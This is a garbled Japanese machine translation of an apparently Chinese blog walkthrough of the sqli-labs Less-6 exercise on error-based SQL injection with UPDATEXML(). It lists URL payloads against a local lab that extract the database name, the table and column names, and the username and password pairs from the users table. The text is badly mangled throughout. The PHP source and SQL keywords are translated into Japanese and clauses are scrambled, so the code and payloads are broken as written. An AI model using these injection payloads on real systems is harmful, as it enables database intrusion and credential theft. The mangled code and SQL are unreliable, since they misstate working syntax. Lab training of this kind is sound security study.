SQLI-ラボ少ない6 UPDATEXML使用()関数は与えられた注入

違いはLess6 Less5 Less6およびサーバにパラメータID、IDのプロセスパラメータということです。ここでは、ソースコードから見ることができます。

$ ID = $ _ GET [ 'ID']; 
= ' "'。$ IDです。 '"' $ ID; //套了双引号
$ SQL = "idは$のid LIMIT 0,1 =ユーザーがSELECT * FROM"; 
$結果=するmysql_query($ SQL)。
$行=は、mysql_fetch_array($結果)。

	IF($行)
	{ 
  	エコー'<フォントサイズ= "10"色= "#1 FFFF00">'。	
  	エコー「あなたには...........あります」; 
  	エコー「<BR>」。
  	エコー"</ FONT>"; 
  	} 
	{ 
	
	エコー'<フォントサイズ= "3"色= "#1 FFFF00">'。
	ますprint_r(mysql_error())。
	エコー"</br> </ FONT>";	
	エコー'<フォント色=フォントサイズ= 3 "#0000FF">'。	
	
	}

当社の戦略と同じでオフ本のLess5います。すべてのメソッドは、単に交換すること」に、Less5 Less6に適用されます。」

今、私たちは、使用UPDATEXML()関数のエラー注入をご紹介します。

UPDATEXML():更新機能XMLドキュメント

構文:UPDATEXML(ターゲットXML文書、XMLパス、更新されたコンテンツ)

第二引数のXMLパスが運用場所である私たちは別の書式を書いた場合、XML文書のパスは/ XXX / XXX / XXX / ...このフォーマットである、それはエラーになり、私たちは不法に書かれた形式を返します。コンテンツ、及びこのコンテンツは、我々は、クエリにしたい違法なコンテンツです。

第二のフォーマット通常のクエリパラメータには、エラーが見つかりませんない場合でも、/ XXX / XX / XX / XXです

ID = 1とUPDATEXML( '何か'、 '/ X / X'、 '何か')security.usersからユーザ名を選択します。

使用CONCAT()スプライシング同じ「/」効果を、次の文は、クエリ「何でも」位置である/データベース()の内容で、「何でも」それを更新します。

ID = 1とUPDATEXML( '何'、CONCAT( '/'、(選択データベース()))、 '何')security.usersからユーザ名を選択します。

しかし、ここには構文エラーではなく、エラーがない、故意に、次の構文エラーを書か:

ID = 1とUPDATEXML( '何'、CONCAT( '〜'、(選択データベース()))、 '何でも')security.usersからユーザー名を選択します。

ないXML形式の構文エラーが、何ので、その目的を達成することを、認識されていないコンテンツを表示されます - それは、コンテンツの冒頭で、見ることができるように。

もう一つ注意すべき、クエリ文字列は、最大の長さにすることができます(更新)ビュー32、我々は結果をしたい場合より32よりも、あなたは()関数の傍受をサブストリングを使用する必要があり、あること、32あります

5概略的にここにクエリの前に:

security.usersからユーザー名を選択する場所、ID = 1とUPDATEXML( '何'、CONCAT( '〜'、サブストリング((選択データベース())、1,5))、 '何でも');

まあ、今はそれを試して、原理を理解しています。

 

まず、ユーザーを得る()値

http://127.0.0.1/sql/Less-6/?id=1" とUPDATEXML(1、CONCAT(0x7Eを、(選択ユーザ())、0x7Eを)、1) - +

復号の結果 - ASCIIコードが0x7Eを、です。

 

そして、現在のライブラリの名前のデータベースを取得しよう 

http://127.0.0.1/sql/Less-6/?id=1" とUPDATEXML(1、CONCAT(0x7Eを、(選択データベース())、0x7Eを)、1) - +

 

その後、select文は、データベース、テーブル名とフィールド名の名前を取得し続けるために、ライブラリを使用することができます。組合と同じクエリが注入されました。エラー注入及び表示結果ので、単一のライン表示の結果を印刷するためのクエリ結果に適用文、または使用GROUP_CONCAT機能の使用を制限することが必要です。

他のデータベースには、ライブラリ名を取得します

http://127.0.0.1/sql/Less-6/?id=1" とUPDATEXML(1、CONCAT(0x7Eを、(information_schema.schemata限界1,1)からの選択SCHEMA_NAME、0x7Eを)、1) - +

 

データベーステーブルの現在の名前を取得します。

あなたは、クエリの制限を使用することができます

http://127.0.0.1/sql/Less-6/?id=1" とUPDATEXML(1、CONCAT(0x7Eを、(TABLE_SCHEMA =データベース()限界0,1 INFORMATION_SCHEMA.TABLESからテーブル名を選択し)、0x7Eを)、 1) - +

 

また、すべてのテーブル名からGROUP_CONCAT(table_nameの)ワンタイムチェックを使用することができます

http://127.0.0.1/sql/Less-6/?id=1" とTABLE_SCHEMA =データベース())、0x7Eを)INFORMATION_SCHEMA.TABLESからUPDATEXML(1、CONCAT(0x7Eを、(選択GROUP_CONCAT(テーブル名)、1 ) - +

 

フィールド名のユーザーテーブルを取得します。

http://127.0.0.1/sql/Less-6/?id=1" とinformation_schema.columnsどこTABLE_SCHEMA = 'セキュリティ' とtable_nameは= 'ユーザー' からUPDATEXML(1、CONCAT(0x7eの、(選択GROUP_CONCAT(COLUMN_NAME) )、0x7Eを)、1) - +

 

コンテンツusersテーブルへのアクセス

http://127.0.0.1/sql/Less-6/?id=1" とUPDATEXML(1、CONCAT(0x7Eを、ユーザーからの(選択GROUP_CONCAT(ユーザ名、0x3a、パスワード))、0x7eの)、1) - +

 

使用extractValueの()関数で同様の構成も同じペイロードのXPathエラーを生成することができ、あなたは自分自身を試すことができます。

 

参考:https://blog.csdn.net/zpy1998zpy/article/details/80631036

 

おすすめ

転載: www.cnblogs.com/zhengna/p/12575676.html